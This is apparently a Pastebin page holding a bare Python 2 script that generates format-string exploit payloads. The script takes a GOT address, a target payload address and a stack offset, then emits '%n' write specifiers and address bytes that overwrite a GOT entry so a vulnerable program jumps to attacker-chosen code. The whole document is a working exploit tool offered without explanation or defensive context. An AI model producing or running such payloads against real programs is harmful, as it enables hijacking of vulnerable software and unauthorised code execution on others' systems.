Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- from sys import argv
- from getopt import getopt
- opt,arg = getopt(argv[1:], "g:v:o:p:l")
- target = []
- desire = []
- offset = -1
- padding = ""
- LE = 0x000000FF
- string = ""
- for o,a in opt:
- if o == "-g":
- a = int(a, 16)
- for i in range(4):
- target.append([a&LE, (a>>8)&LE, (a>>16)&LE, (a>>24)&LE])
- a += 1
- elif o == "-v":
- desire = [int(a, 16)&LE, (int(a, 16)>>8)&LE, (int(a, 16)>>16)&LE, (int(a, 16)>>24)&LE]
- elif o == "-o":
- offset = int(a)
- elif o == "-p":
- padding = a
- if target == [] or desire == [] or offset == -1:
- print "%s -g <got_addr> -v <payload_addr> -o <offset> [-p <padding>]"%argv[0]
- exit(1)
- string += "%%1$%04dc%%%04d$n"%(desire[0], offset)
- string += "%%1$%04dc%%%04d$n"%(256+desire[1]-desire[0], offset+1)
- string += "%%1$%04dc%%%04d$n"%(256+desire[2]-desire[1], offset+2)
- string += "%%1$%04dc%%%04d$n"%(256+desire[3]-desire[2], offset+3)
- for i in range(4):
- string += "%c%c%c%c"%tuple(target[i])
- string += "%c%c%c%c"%tuple(desire) #useless -_-"
- string += padding
- print string
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement